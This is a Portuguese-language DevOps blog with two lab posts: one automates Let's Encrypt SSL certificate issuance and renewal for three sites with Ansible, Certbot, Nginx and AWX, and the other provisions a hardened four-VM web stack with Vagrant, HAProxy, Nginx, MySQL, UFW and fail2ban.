Segurança on FXShell - DevOps & Sec

Ansible SSL: Certificados Let's Encrypt Automáticos com AWX

Felipe da Matta — Sun, 03 May 2026 13:00:00 UT

Você já acordou às 3 da manhã com o alerta de que um certificado SSL expirou em produção? Ou descobriu que um cliente tentou acessar o site e viu a tela vermelha do browser dizendo “conexão não é segura”? Esse é o custo de gerenciar SSL na mão. Neste lab eu automatizei o ciclo completo de criação e renovação de certificados SSL para três sites diferentes — fxshell1.com.br, fxshell2.com.br e fxshell3.com.br — usando Ansible + Certbot + Let’s Encrypt. Cada certificado cobre o domínio raiz e o www no mesmo cert (SAN). O AWX agenda a renovação automática toda terça-feira às 03:00 UTC; quando disparado manualmente, um survey pergunta quais tenants renovar antes de executar. Nenhum clique desnecessário, nenhuma surpresa. Objetivo do Lab Construir uma automação completa que: Instala e configura o Certbot em múltiplos servidores Emite um único certificado cobrindo dominio.com.br e www.dominio.com.br (SAN — Subject Alternative Names) Configura o Nginx para servir o desafio ACME e depois ativa HTTPS com TLS 1.3 + HSTS Agenda renovação automática no AWX toda terça-feira às 03:00 UTC Quando executado manualmente, pergunta via survey quais tenants renovar Tecnologias Utilizadas Ansible é a ferramenta de automação que conecta via SSH nos servidores e aplica as configurações descritas em playbooks YAML. Sem agente instalado, sem daemon. Um comando no control node e todos os servidores ficam no estado desejado. Usado massivamente em times DevOps para garantir que a infraestrutura seja reproduzível e auditável. Certbot é o cliente oficial do protocolo ACME, mantido pela Electronic Frontier Foundation. Ele faz a comunicação com a CA do Let’s Encrypt: prova que você controla o domínio (através de um arquivo temporário no servidor), recebe o certificado assinado, e salva tudo no /etc/letsencrypt/live//. No lab ele é instalado como snap — a forma recomendada atualmente, que sempre traz a versão mais recente. Let’s Encrypt é uma Autoridade Certificadora (CA) gratuita e automatizada, mantida por Mozilla, Cisco, EFF e outros. Emite certificados X.509 válidos por 90 dias para qualquer domínio que você consiga provar que controla. A curta validade é intencional — força automação e garante que certificados comprometidos expirem rápido. ACME v2 é o protocolo que Let’s Encrypt usa para emissão automatizada. No método webroot, o Certbot cria um arquivo temporário em /.well-known/acme-challenge/ no seu servidor web. A CA do Let’s Encrypt faz uma requisição HTTP para esse arquivo e, se conseguir ler, confirma que você controla o domínio e emite o certificado. Nginx é o servidor web que fica na frente da aplicação. No lab ele tem duas responsabilidades: servir o diretório do desafio ACME durante a validação, e depois servir HTTPS com o certificado emitido. Configuramos TLS 1.2/1.3, HSTS, OCSP Stapling e headers de segurança. AWX é a versão open source do Ansible Automation Platform (Red Hat Tower). Ele fornece uma interface web e API para executar playbooks Ansible de forma centralizada, com controle de acesso, logs históricos, e — o que mais importa aqui — schedules (cron jobs) para execução automática de jobs. Arquitetura ┌─────────────────────────────────────────────────────────────┐ │ AWX / Ansible Tower │ │ Job Template: SSL Create Job Template: SSL Renewal │ │ Schedule: RRULE FREQ=DAILY às 03:00 UTC │ └──────────────────────────┬──────────────────────────────────┘ │ Trigger / SSH ▼ ┌─────────────────────────────────────────────────────────────┐ │ Ansible Control Node │ │ playbook-ssl-create.yml │ │ playbook-ssl-renewal.yml │ │ roles/ssl_certbot roles/ssl_renewal │ └────────┬──────────────────┬────────────────────┬────────────┘ │ SSH │ SSH │ SSH ▼ ▼ ▼ ┌──────────────┐ ┌──────────────────┐ ┌──────────────────┐ │ fxshell1.com │ │ fxshell2.com.br │ │ fxshell3.com.br│ │ Nginx + SSL │ │ Nginx + SSL │ │ Nginx + SSL │ │ 192.168.1.10 │ │ 192.168.1.11 │ │ 192.168.1.12 │ └──────┬───────┘ └────────┬─────────┘ └────────┬─────────┘ │ │ │ └───────────────────┴──────────────────────┘ │ ACME HTTP Challenge ▼ ┌────────────────────────┐ │ Let's Encrypt CA │ │ ACME v2 Protocol │ │ Certificado 90 dias │ └────────────────────────┘ Componente Função AWX Orquestra execução, agenda renovação diária, guarda histórico Ansible Control Node Executa roles, conecta nos servidores via SSH Role ssl_certbot Instala Certbot, configura Nginx HTTP, emite certificado, sobe HTTPS Role ssl_renewal Verifica validade, renova se <30 dias, registra log Nginx Serve ACME challenge, proxy HTTPS com TLS 1.3 + HSTS Let’s Encrypt CA Valida domínio via ACME, emite certificado X.509 gratuito Como o Fluxo Funciona O AWX dispara o playbook ssl-create.yml. O Ansible conecta em cada servidor via SSH e executa a role ssl_certbot em sequência: Instala o Certbot via snap e cria o symlink em /usr/bin/certbot Garante que o Nginx está instalado e rodando Faz o deploy do template nginx-http.conf.j2 — configuração HTTP simples que serve o diretório .well-known/acme-challenge/ e redireciona todo o resto para HTTPS Verifica se o certificado já existe em /etc/letsencrypt/live// Se não existir, executa certbot certonly --webroot — o Certbot cria o arquivo de desafio, a CA do Let’s Encrypt faz o GET HTTP para validar, e o certificado é emitido Faz o deploy do template nginx-ssl.conf.j2 — configuração HTTPS completa com TLS 1.2/1.3, HSTS, OCSP Stapling e security headers Verifica a data de expiração do certificado emitido com openssl x509 -enddate Para renovação, o job ssl-renewal.yml roda diariamente. Para cada servidor, ele lê a data de expiração do certificado atual, calcula os dias restantes, e só executa certbot renew se faltarem menos de 30 dias. Se renovou, notifica o handler para recarregar o Nginx. Estrutura do Projeto ansible-ssl-letsencrypt/ ├── ansible.cfg # Config: inventory, become, pipelining ├── playbook-ssl-create.yml # Playbook principal: emite certificados ├── playbook-ssl-renewal.yml # Playbook de renovação: usado pelo AWX ├── awx-job-template.yml # Definição dos Job Templates e Schedule ├── inventory/ │ └── hosts.yml # 3 hosts com site_domain, email, webroot ├── group_vars/ │ └── all.yml # Certbot config, Nginx SSL params globais ├── roles/ │ ├── ssl_certbot/ │ │ ├── tasks/main.yml # Instala, configura Nginx, emite cert │ │ ├── handlers/main.yml # restart/reload nginx │ │ └── templates/ │ │ ├── nginx-http.conf.j2 # Config HTTP + ACME challenge │ │ └── nginx-ssl.conf.j2 # Config HTTPS + TLS 1.3 + HSTS │ └── ssl_renewal/ │ ├── tasks/main.yml # Verifica validade, renova, loga │ ├── handlers/main.yml # reload nginx após renovação │ └── templates/ │ └── renewal-report.j2 # Relatório de renovação └── diagrama/ ├── ansible-ssl-letsencrypt.html # Diagrama animado interativo ├── ansible-ssl-letsencrypt.gif # GIF para blog e LinkedIn └── gerar_gif.py # Script Pillow que gerou o GIF Inventário — Os 3 Sites O inventário define os três servidores. Cada host tem site_domain (nome principal, usado como --cert-name pelo Certbot) e site_domains (lista com raiz e www, usada tanto no certbot certonly quanto nos server_name do Nginx). # inventory/hosts.yml all: children: webservers: hosts: fxshell1_server: ansible_host: 192.168.1.10 ansible_user: ubuntu site_domain: fxshell1.com.br # cert-name no Certbot site_domains: # SAN: raiz + www no mesmo cert - fxshell1.com.br - www.fxshell1.com.br site_email: admin@fxshell1.com.br site_webroot: /var/www/fxshell nginx_config_name: fxshell1.com.br fxshell2_server: ansible_host: 192.168.1.11 ansible_user: ubuntu site_domain: fxshell2.com.br site_domains: - fxshell2.com.br - www.fxshell2.com.br site_email: admin@fxshell2.com.br site_webroot: /var/www/fxshell2 nginx_config_name: fxshell2.com.br fxshell3_server: ansible_host: 192.168.1.12 ansible_user: ubuntu site_domain: fxshell3.com.br site_domains: - fxshell3.com.br - www.fxshell3.com.br site_email: admin@fxshell3.com.br site_webroot: /var/www/fxshell3 nginx_config_name: fxshell3.com.br O Certbot aceita múltiplos --domain num único comando. O primeiro domínio da lista vira o nome do certificado (/etc/letsencrypt/live/fxshell1.com.br/), e os demais entram como SANs. O resultado é um único arquivo .pem válido para fxshell1.com.br e www.fxshell1.com.br — sem precisar de dois certificados separados. Role ssl_certbot — O Coração da Emissão A task mais importante da role verifica se o certificado já existe antes de tentar emitir. Isso garante idempotência — você pode rodar o playbook quantas vezes quiser sem gerar requisições desnecessárias para a CA (o Let’s Encrypt tem rate limits). O comando usa um loop Jinja2 para gerar múltiplos --domain, cobrindo dominio.com.br e www.dominio.com.br num único certificado SAN: # roles/ssl_certbot/tasks/main.yml (trecho) - name: Verificar se certificado já existe stat: path: "{{ certbot_certs_dir }}/{{ site_domain }}/fullchain.pem" register: cert_exists - name: Obter certificado SSL via certbot (webroot — raiz + www) command: > certbot certonly --webroot --webroot-path {{ site_webroot }} {% for d in site_domains %}--domain {{ d }} {% endfor %} --email {{ site_email }} --agree-tos --non-interactive {% if certbot_staging %}--staging{% endif %} --rsa-key-size {{ certbot_rsa_key_size }} --keep-until-expiring when: not cert_exists.stat.exists Para fxshell1_server, o comando expandido fica: certbot certonly --webroot --webroot-path /var/www/fxshell \ --domain fxshell1.com.br --domain www.fxshell1.com.br \ --email admin@fxshell1.com.br --agree-tos --non-interactive \ --rsa-key-size 4096 --keep-until-expiring O flag --keep-until-expiring garante que, mesmo se o certificado já existir, o Certbot não vai renovar antes de 30 dias. O flag --staging permite testar o fluxo completo sem consumir os rate limits de produção do Let’s Encrypt. Template Nginx HTTPS O template nginx-ssl.conf.j2 gera uma config com as melhores práticas de TLS: server { listen 443 ssl http2; server_name {{ site_domain }} www.{{ site_domain }}; ssl_certificate {{ certbot_certs_dir }}/{{ site_domain }}/fullchain.pem; ssl_certificate_key {{ certbot_certs_dir }}/{{ site_domain }}/privkey.pem; ssl_trusted_certificate {{ certbot_certs_dir }}/{{ site_domain }}/chain.pem; ssl_protocols TLSv1.2 TLSv1.3; ssl_ciphers ECDHE-RSA-AES256-GCM-SHA512:...; ssl_prefer_server_ciphers off; ssl_session_cache shared:SSL:50m; ssl_stapling on; ssl_stapling_verify on; # HSTS: força HTTPS por 1 ano em todos os subdomínios add_header Strict-Transport-Security "max-age=31536000; includeSubDomains; preload" always; add_header X-Frame-Options DENY; add_header X-Content-Type-Options nosniff; } O OCSP Stapling (ssl_stapling on) reduz a latência das conexões: em vez de o browser consultar a CA para verificar se o certificado foi revogado, o servidor já faz essa consulta periodicamente e inclui a resposta assinada no handshake TLS. Role ssl_renewal — Lógica de Renovação A task de renovação calcula os dias restantes com openssl e date, e só chama o certbot renew se a condição for verdadeira: - name: Calcular dias restantes shell: | end_date="{{ cert_end_date.stdout }}" today=$(date +%s) expiry=$(date -d "$end_date" +%s) echo $(( (expiry - today) / 86400 )) register: days_remaining - name: Renovar certificado se faltam menos de 30 dias command: > certbot renew --cert-name {{ site_domain }} --non-interactive --quiet when: days_remaining.stdout | int < 30 notify: reload nginx Cada execução registra uma linha em /var/log/certbot-renewal.log com data, domínio, dias restantes e se foi renovado. AWX — Job Templates e Schedule A configuração do AWX está documentada no arquivo awx-job-template.yml. Os dois jobs principais são: SSL - Criar Certificado: roda sob demanda com survey para o operador escolher domínio e ambiente (staging/produção). SSL - Renovar Certificados: tem dois modos de uso: Schedule automático — toda terça-feira às 03:00 UTC, renova todos os hosts do grupo webservers Execução manual com survey — antes de executar, o AWX exibe um formulário para o operador selecionar quais tenants renovar O survey de seleção de tenants funciona assim: o campo tenants aceita o nome de um ou mais hosts separados por vírgula (ex: fxshell1_server,fxshell2_server) ou o grupo webservers para renovar todos. Esse valor é passado para a diretiva hosts: do playbook, que funciona como um --limit dinâmico. # O playbook usa o valor do survey como filtro de hosts - name: Renovar certificados SSL Let's Encrypt hosts: "{{ tenants | default('webservers') }}" O schedule usa a sintaxe RFC 5545 (iCalendar RRULE), que é o formato que o AWX aceita: DTSTART:20240102T030000Z RRULE:FREQ=WEEKLY;BYDAY=TU # BYDAY=TU = Tuesday (terça-feira) # FREQ=WEEKLY = toda semana # Hora: 03:00 UTC Para configurar manualmente na interface do AWX: Projects → Criar projeto apontando para o repositório git Inventories → Importar hosts.yml com os 3 servidores Credentials → Adicionar chave SSH dos servidores Job Templates → SSL - Criar Certificado (playbook-ssl-create.yml) Job Templates → SSL - Renovar (playbook-ssl-renewal.yml) → Habilitar Survey com campo "tenants" → Habilitar ask_limit_on_launch: true Schedules → Adicionar no job de renovação: → Recurrence: Weekly, Day: Tuesday, Time: 03:00 UTC → Default tenants: webservers (todos) Executando # 1. Testar conectividade com todos os servidores ansible all -m ping # 2. Testar com staging primeiro (não gasta rate limit) ansible-playbook playbook-ssl-create.yml -e "certbot_staging=true" # 3. Verificar o que seria feito (dry-run parcial) ansible-playbook playbook-ssl-create.yml --check # 4. Emitir certificados reais para todos os sites ansible-playbook playbook-ssl-create.yml # 5. Emitir só para um site específico ansible-playbook playbook-ssl-create.yml -l fxshell1_server # 6. Forçar renovação manualmente ansible-playbook playbook-ssl-renewal.yml -e "force_renewal=true" # 7. Testar HTTPS após emissão curl -I https://fxshell1.com.br curl -I https://fxshell2.com.br curl -I https://fxshell3.com.br Para verificar os headers de segurança: curl -sI https://fxshell1.com.br | grep -E "Strict-Transport|X-Frame|X-Content" Monitoramento e Troubleshooting Sintoma Causa provável Solução certbot: command not found Snap não instalou ou symlink faltando Verificar snap list certbot e recriar symlink Challenge failed: connection refused Nginx não está rodando ou porta 80 bloqueada systemctl status nginx e verificar firewall Too many certificates already issued Rate limit do Let’s Encrypt atingido Usar --staging para testes; aguardar 7 dias nginx: configuration file test failed Caminho do certificado errado no template Verificar se /etc/letsencrypt/live// existe SSL certificate has expired Renovação automática falhou Verificar /var/log/certbot-renewal.log e /var/log/letsencrypt/ AWX job falha com Permission denied Usuário SSH sem sudo configurado Verificar become: true e sudoers no servidor # Verificar logs do certbot cat /var/log/letsencrypt/letsencrypt.log | tail -50 # Verificar log de renovação customizado cat /var/log/certbot-renewal.log # Testar validade do certificado manualmente openssl s_client -connect fxshell1.com.br:443 -servername fxshell1.com.br < /dev/null 2>/dev/null \ | openssl x509 -noout -enddate Para Que Serve no Mercado Times DevOps e SRE que gerenciam dezenas ou centenas de domínios usam exatamente esse padrão. As variações incluem: Wildcard certificates com validação DNS ao invés de HTTP (necessário quando os servidores não têm porta 80 pública) Integração com Vault para armazenar as credenciais dos provedores DNS e automatizar renovação de wildcards Pipeline de CI/CD que dispara o playbook quando um novo site é adicionado ao inventário Certificados internos usando a mesma lógica com uma CA própria (CFSSL, Vault PKI) para serviços internos que não precisam de CA pública O princípio é o mesmo em qualquer escala: infraestrutura declarativa, idempotente, auditável. Um certificado expirado em produção é a prova de que existe um processo manual em algum lugar esperando para falhar. Conclusão O que resolve esse lab não é só a automação do certbot — é a combinação de idempotência do Ansible com a orquestração do AWX. Você pode executar esse playbook mil vezes e o resultado é sempre o mesmo: se o certificado existe e está válido, nada muda. Se está para expirar, é renovado. Se não existe, é criado. Esse nível de previsibilidade é o que separa infraestrutura mantida de infraestrutura gerenciada. Referências Certbot Documentation Let’s Encrypt — Rate Limits ACME Protocol RFC 8555 Nginx SSL Configuration AWX Project Ansible Documentation Mozilla SSL Configuration Generator

Ansible Lab: Provisionando Infraestrutura Web Segura do Zero

Felipe da Matta — Tue, 21 Apr 2026 13:00:00 UT

Cenário: você tem 4 VMs vazias e precisa subir uma stack web completa — load balancer, dois servidores de aplicação, banco de dados, tudo com segurança configurada desde o início — em menos de 5 minutos. Só com Ansible. Este post documenta um lab que montei para praticar exatamente isso: infraestrutura como código, do zero até uma stack funcional e segura, reproduzível com um único comando. Objetivo do Lab O objetivo é simular, localmente, um ambiente que existe de verdade em qualquer empresa que tenha um sistema web em produção. Em vez de provisionar um servidor por vez — conectando via SSH, instalando pacotes na mão e torcendo para não esquecer nada — o lab demonstra como automatizar todo esse processo com Ansible. Na prática, esse tipo de automação é usado para: Subir novos ambientes (staging, produção, DR) de forma idêntica e rápida Garantir que todos os servidores estejam sempre na configuração correta, sem desvios Integrar o provisionamento em pipelines de CI/CD, onde um ambiente novo é criado automaticamente a cada release Padronizar configurações de segurança em toda a frota de servidores Tecnologias Utilizadas Antes de entrar no código, vale entender o papel de cada ferramenta. Ansible é uma ferramenta de automação de infraestrutura. Você descreve o estado desejado dos seus servidores em arquivos YAML (os chamados playbooks e roles), e o Ansible se conecta via SSH e aplica essas configurações. Sem agente instalado nos servidores, sem banco de dados, sem daemon rodando — é simples por design. Vagrant é uma ferramenta para criar e gerenciar máquinas virtuais de forma automatizada. Com um único arquivo de configuração (o Vagrantfile), você define quantas VMs quer, qual sistema operacional, qual IP de rede, quanta memória — e o Vagrant cria tudo isso para você. É amplamente usado para criar ambientes de desenvolvimento e laboratório locais, sem precisar pagar por cloud ou configurar VMs manualmente pelo VirtualBox. VirtualBox é o software de virtualização que o Vagrant usa por baixo dos panos neste lab. É ele quem de fato cria e executa as máquinas virtuais. O Vagrant é a camada de abstração que automatiza a criação delas. HAProxy é um load balancer de alto desempenho. Ele recebe as requisições dos usuários e as distribui entre os servidores de aplicação disponíveis. Se um servidor cair, o HAProxy para de mandar tráfego para ele automaticamente. É usado em praticamente toda arquitetura web que precisa de escalabilidade e alta disponibilidade. Nginx é um servidor web e proxy reverso. Neste lab ele serve a aplicação nos dois web servers. No mercado é comum encontrá-lo tanto como servidor de aplicação quanto como proxy na frente de outros serviços. PHP-FPM é o gerenciador de processos PHP. É ele que executa o código da aplicação e responde às requisições que chegam pelo Nginx. MySQL é o banco de dados relacional da stack. Armazena os dados da aplicação. UFW (Uncomplicated Firewall) é a interface de gerenciamento do firewall do Linux. Com ele definimos quais portas e IPs têm permissão de se comunicar com cada servidor. No lab, por exemplo, o MySQL só aceita conexões da rede interna — não há como acessá-lo de fora. fail2ban monitora os logs do sistema e bane automaticamente IPs que apresentam comportamento suspeito — como várias tentativas de login SSH com falha em sequência. É uma camada de defesa simples e muito efetiva contra ataques de força bruta. Arquitetura ┌─────────────────────────────────────────────────────────┐ │ ANSIBLE CONTROL NODE │ │ (seu terminal / CI/CD) │ └──────────────────────┬──────────────────────────────────┘ │ SSH (porta 22) ┌─────────────┼─────────────┐ ▼ ▼ ▼ ▼ ┌──────────┐ ┌──────────┐ ┌──────────┐ ┌──────────┐ │ lb-01 │ │ web-01 │ │ web-02 │ │ db-01 │ │ HAProxy │ │ Nginx │ │ Nginx │ │ MySQL │ │:80/:443 │ │ PHP-FPM │ │ PHP-FPM │ │ :3306 │ └──────────┘ └──────────┘ └──────────┘ └──────────┘ Servidor Roles aplicadas lb-01 common, hardening, haproxy web-01 common, hardening, nginx, php web-02 common, hardening, nginx, php db-01 common, hardening, mysql Cada servidor recebe a role common (configurações base) e a role hardening (segurança), além das roles específicas do seu papel na stack. Preparando o Ambiente com Vagrant O Vagrant cria as 4 VMs localmente com um único vagrant up. Cada máquina recebe um IP fixo na rede privada 192.168.56.0/24, o que permite que o Ansible se comunique com todas elas sem nenhuma configuração extra de rede. Vagrant.configure("2") do |config| config.vm.box = "debian/bookworm64" nodes = { "lb-01" => "192.168.56.10", "web-01" => "192.168.56.11", "web-02" => "192.168.56.12", "db-01" => "192.168.56.13" } nodes.each do |name, ip| config.vm.define name do |node| node.vm.hostname = name node.vm.network "private_network", ip: ip node.vm.provider "virtualbox" do |vb| vb.memory = "512" vb.cpus = 1 end end end end vagrant up Quando as VMs estiverem rodando, o Ansible assume o controle. Estrutura do Projeto O projeto segue a estrutura padrão de roles do Ansible. Cada role é um diretório independente com suas tasks, templates e variáveis. Essa separação facilita reutilizar as roles em outros projetos — a role de hardening, por exemplo, pode ser aplicada em qualquer servidor sem nenhuma modificação. ansible-lab/ ├── ansible.cfg ├── inventory/ │ └── hosts.ini ├── playbook.yml └── roles/ ├── common/ │ └── tasks/main.yml ├── hardening/ │ ├── tasks/main.yml │ └── templates/ │ └── sshd_config.j2 ├── haproxy/ │ ├── tasks/main.yml │ └── templates/ │ └── haproxy.cfg.j2 ├── nginx/ │ └── tasks/main.yml ├── php/ │ └── tasks/main.yml └── mysql/ ├── tasks/main.yml └── vars/main.yml ansible.cfg O arquivo de configuração do Ansible define o comportamento padrão da ferramenta: onde está o inventário, qual usuário usar para se conectar, se deve escalar privilégios automaticamente, entre outros. Isso evita ter que repetir essas opções em todo comando que você rodar. [defaults] inventory = inventory/hosts.ini remote_user = vagrant private_key_file = ~/.vagrant.d/insecure_private_key host_key_checking = False forks = 5 log_path = ansible.log [privilege_escalation] become = True become_method = sudo become_user = root become_ask_pass = False inventory/hosts.ini O inventário é onde você diz ao Ansible quais servidores existem e como agrupá-los. Grupos permitem aplicar roles e variáveis diferentes para cada tipo de servidor — tudo o que estiver em [webservers] recebe as configurações de web server, tudo em [database] recebe as de banco de dados, e assim por diante. [loadbalancer] lb-01 ansible_host=192.168.56.10 [webservers] web-01 ansible_host=192.168.56.11 web-02 ansible_host=192.168.56.12 [database] db-01 ansible_host=192.168.56.13 [all:vars] ansible_python_interpreter=/usr/bin/python3 [webservers:vars] db_host=192.168.56.13 [loadbalancer:vars] web_backends=["192.168.56.11", "192.168.56.12"] As Roles common Responsável pelas configurações base que todo servidor precisa ter: pacotes essenciais e sincronização de hora via chrony. Simples, mas garante uma base consistente em todas as máquinas — sem isso, você pode ter servidores com versões diferentes de ferramentas ou relógios dessincronizados, o que causa problemas sutis difíceis de depurar. # roles/common/tasks/main.yml --- - name: Atualizar cache do apt apt: update_cache: yes cache_valid_time: 3600 - name: Instalar pacotes base apt: name: - vim - curl - wget - htop - net-tools - chrony state: present - name: Garantir chrony rodando service: name: chrony state: started enabled: yes hardening Esta é a role mais importante do ponto de vista de segurança. Ela configura o firewall, restringe o acesso SSH e ativa o bloqueio automático de IPs suspeitos — aplicado em todos os servidores, sem exceção. # roles/hardening/tasks/main.yml --- - name: Instalar ferramentas de segurança apt: name: - ufw - fail2ban - unattended-upgrades state: present - name: Configurar UFW - política padrão deny ufw: state: enabled policy: deny direction: incoming - name: Permitir SSH ufw: rule: allow port: "22" proto: tcp - name: Aplicar configurações de segurança no SSH template: src: sshd_config.j2 dest: /etc/ssh/sshd_config owner: root group: root mode: "0600" validate: /usr/sbin/sshd -t -f %s notify: Reiniciar SSH - name: Ativar fail2ban service: name: fail2ban state: started enabled: yes - name: Configurar atualizações automáticas de segurança copy: dest: /etc/apt/apt.conf.d/50unattended-upgrades content: | Unattended-Upgrade::Allowed-Origins { "${distro_id}:${distro_codename}-security"; }; Unattended-Upgrade::Automatic-Reboot "false"; O template do SSH — arquivos .j2 são templates Jinja2, que permitem usar variáveis e lógica dentro de arquivos de configuração — desabilita login por senha e acesso direto como root, dois dos vetores de ataque mais comuns em servidores expostos na internet. {# roles/hardening/templates/sshd_config.j2 #} Port 22 Protocol 2 HostKey /etc/ssh/ssh_host_rsa_key HostKey /etc/ssh/ssh_host_ecdsa_key HostKey /etc/ssh/ssh_host_ed25519_key # Autenticação PermitRootLogin no PasswordAuthentication no PubkeyAuthentication yes AuthorizedKeysFile .ssh/authorized_keys # Restrições X11Forwarding no AllowTcpForwarding no MaxAuthTries 3 LoginGraceTime 30 ClientAliveInterval 300 ClientAliveCountMax 2 UsePAM yes PrintLastLog yes Com PasswordAuthentication no, ataques de força bruta por senha simplesmente não funcionam — o servidor nem aceita esse tipo de autenticação. O fail2ban complementa banindo automaticamente IPs que insistem em tentar. haproxy O load balancer distribui o tráfego entre os dois web servers em round-robin — cada requisição vai alternadamente para web-01 e web-02 — e verifica a saúde de cada servidor antes de repassar requisições. Se um web server cair, o HAProxy detecta pelo health check e para de mandar tráfego para ele até que volte. # roles/haproxy/tasks/main.yml --- - name: Instalar HAProxy apt: name: haproxy state: present - name: Permitir porta 80 no firewall ufw: rule: allow port: "80" proto: tcp - name: Configurar HAProxy template: src: haproxy.cfg.j2 dest: /etc/haproxy/haproxy.cfg validate: haproxy -c -f %s notify: Reiniciar HAProxy - name: Garantir HAProxy rodando service: name: haproxy state: started enabled: yes Note o validate na task de configuração: o Ansible só aplica o arquivo se o HAProxy confirmar que a sintaxe está correta. Isso evita derrubar o serviço por conta de um erro de configuração. {# roles/haproxy/templates/haproxy.cfg.j2 #} global log /dev/log local0 chroot /var/lib/haproxy user haproxy group haproxy daemon defaults log global mode http option httplog option dontlognull timeout connect 5000ms timeout client 50000ms timeout server 50000ms frontend web_frontend bind *:80 default_backend web_backends backend web_backends balance roundrobin option httpchk GET /health {% for backend in web_backends %} server web-{{ loop.index }} {{ backend }}:80 check {% endfor %} nginx + php Os web servers aceitam conexões apenas do load balancer — qualquer acesso direto pela porta 80 de outro IP é bloqueado pelo UFW. Isso garante que todo tráfego passe obrigatoriamente pelo HAProxy, sem atalhos. # roles/nginx/tasks/main.yml --- - name: Instalar Nginx apt: name: nginx state: present - name: Permitir porta 80 apenas do load balancer ufw: rule: allow src: "192.168.56.10" port: "80" proto: tcp - name: Criar endpoint de health check copy: dest: /var/www/html/health content: "OK" owner: www-data group: www-data - name: Criar página de identificação do servidor copy: dest: /var/www/html/index.html content: "

Servidor: {{ inventory_hostname }}

" owner: www-data group: www-data - name: Garantir Nginx rodando service: name: nginx state: started enabled: yes mysql O MySQL é configurado para escutar apenas no IP interno e aceitar conexões somente da sub-rede 192.168.56.0/24. Usuário de aplicação criado com privilégios mínimos — sem acesso root, sem acesso de fora da rede interna. # roles/mysql/tasks/main.yml --- - name: Instalar MySQL e dependências Python apt: name: - mysql-server - python3-mysqldb state: present - name: Garantir MySQL rodando service: name: mysql state: started enabled: yes - name: Criar banco de dados da aplicação mysql_db: name: "{{ db_name }}" state: present - name: Criar usuário com acesso restrito por IP mysql_user: name: "{{ db_user }}" password: "{{ db_password }}" priv: "{{ db_name }}.*:ALL" host: "192.168.56.%" state: present - name: Restringir MySQL ao IP interno lineinfile: path: /etc/mysql/mysql.conf.d/mysqld.cnf regexp: "^bind-address" line: "bind-address = 192.168.56.13" notify: Reiniciar MySQL - name: Liberar acesso ao MySQL apenas da rede interna ufw: rule: allow src: "192.168.56.0/24" port: "3306" proto: tcp A senha do banco nunca deve ir em texto plano no repositório. O ansible-vault criptografa valores sensíveis dentro dos arquivos YAML — você commita o arquivo normalmente, mas só quem tem a chave consegue descriptografar. ansible-vault encrypt_string 'SuaSenha' --name 'vault_db_password' # roles/mysql/vars/main.yml --- db_name: appdb db_user: appuser db_password: "{{ vault_db_password }}" Playbook Principal O playbook é o arquivo que orquestra tudo — ele define qual conjunto de roles é aplicado em qual grupo de servidores, e em qual ordem. É o ponto de entrada da automação. # playbook.yml --- - name: Provisionar Load Balancer hosts: loadbalancer roles: - common - hardening - haproxy - name: Provisionar Servidores Web hosts: webservers roles: - common - hardening - nginx - php - name: Provisionar Banco de Dados hosts: database roles: - common - hardening - mysql Executando Antes de rodar de verdade, vale sempre fazer um dry-run com --check --diff para visualizar exatamente o que seria alterado em cada servidor, sem modificar nada: # Verificar conectividade com todos os nós ansible all -m ping # Dry run — simula a execução sem alterar nada ansible-playbook playbook.yml --check --diff # Execução real ansible-playbook playbook.yml Resultado esperado: PLAY RECAP lb-01 : ok=14 changed=12 unreachable=0 failed=0 web-01 : ok=17 changed=15 unreachable=0 failed=0 web-02 : ok=17 changed=15 unreachable=0 failed=0 db-01 : ok=16 changed=14 unreachable=0 failed=0 Verificando a Stack # O load balancer deve alternar entre web-01 e web-02 for i in {1..6}; do curl -s http://192.168.56.10; echo; done # Servidor: web-01 # Servidor: web-02 # Servidor: web-01 # Servidor: web-02 # ... # Health check do HAProxy curl http://192.168.56.10/health # OK # Confirmar fail2ban ativo em todos os servidores ansible all -m shell -a "fail2ban-client status" # Confirmar firewall ativo ansible all -m shell -a "ufw status verbose" Idempotência Um conceito central no Ansible — e na automação de infraestrutura em geral — é a idempotência: a capacidade de executar a mesma operação várias vezes e sempre chegar ao mesmo resultado, sem efeitos colaterais. Rode o playbook novamente sem ter alterado nada: ansible-playbook playbook.yml PLAY RECAP lb-01 : ok=14 changed=0 unreachable=0 failed=0 web-01 : ok=17 changed=0 unreachable=0 failed=0 web-02 : ok=17 changed=0 unreachable=0 failed=0 db-01 : ok=16 changed=0 unreachable=0 failed=0 changed=0 em todos os servidores. Antes de executar qualquer task, o Ansible verifica se o recurso já está no estado desejado. Se o pacote já está instalado, não instala de novo. Se o arquivo de configuração já está correto, não sobrescreve. Isso significa que você pode rodar o mesmo playbook quantas vezes quiser — em manutenção, em auditoria, em CI/CD — sem risco de quebrar o ambiente. Comandos Ad-hoc para o Dia a Dia Nem tudo precisa de um playbook. Para tarefas pontuais, o Ansible permite rodar comandos diretamente em um grupo de servidores sem precisar criar um arquivo YAML: # Ver uso de memória em todos os servidores ansible all -m shell -a "free -h" # Reiniciar nginx nos web servers ansible webservers -m service -a "name=nginx state=restarted" # Coletar informações do sistema (distribuição, versão, etc.) ansible all -m setup -a "filter=ansible_distribution*" # Verificar quais portas estão abertas ansible all -m shell -a "ss -tlnp" Para Que Isso Serve no Mercado Este lab reproduz, em escala reduzida, um padrão que existe em praticamente qualquer empresa com infraestrutura web: Times de DevOps/SRE usam automação como essa para garantir que todos os ambientes — desenvolvimento, homologação, produção — sejam idênticos. Um bug que aparece só em produção muitas vezes é causado por diferença de configuração entre ambientes. Com IaC, isso deixa de ser um problema. Onboarding de novos servidores vira um processo de minutos. Quando um servidor novo entra na frota, o Ansible aplica toda a configuração padrão automaticamente — sem checklist manual, sem risco de esquecer um passo. Auditorias de segurança ficam muito mais simples. Em vez de acessar cada servidor para verificar se as configurações de segurança estão corretas, você roda o playbook e o resultado mostra exatamente o que está diferente do esperado. Resposta a incidentes ganha velocidade. Se um servidor fica comprometido e precisa ser reconstruído do zero, o processo inteiro leva minutos — não horas ou dias tentando lembrar como aquele servidor foi configurado originalmente. Conclusão Em menos de 5 minutos e algumas dezenas de linhas de YAML, a stack está de pé: Load Balancer com HAProxy, round-robin e health check automático 2 Web Servers com Nginx respondendo e identificando o host Banco de dados MySQL com acesso restrito à rede interna Segurança aplicada em todos: SSH por chave, firewall ativo, bloqueio de força bruta e atualizações automáticas O ponto mais importante desse tipo de lab não é a tecnologia em si — é o fato de que a infraestrutura vira código. Ela fica versionada, documentada, reproduzível em qualquer ambiente e auditável linha a linha. O próximo passo natural é integrar esse playbook em um pipeline CI/CD (GitHub Actions ou GitLab CI) e adicionar testes de infraestrutura com Molecule + Testinfra. Referências: Documentação oficial do Ansible Ansible Galaxy 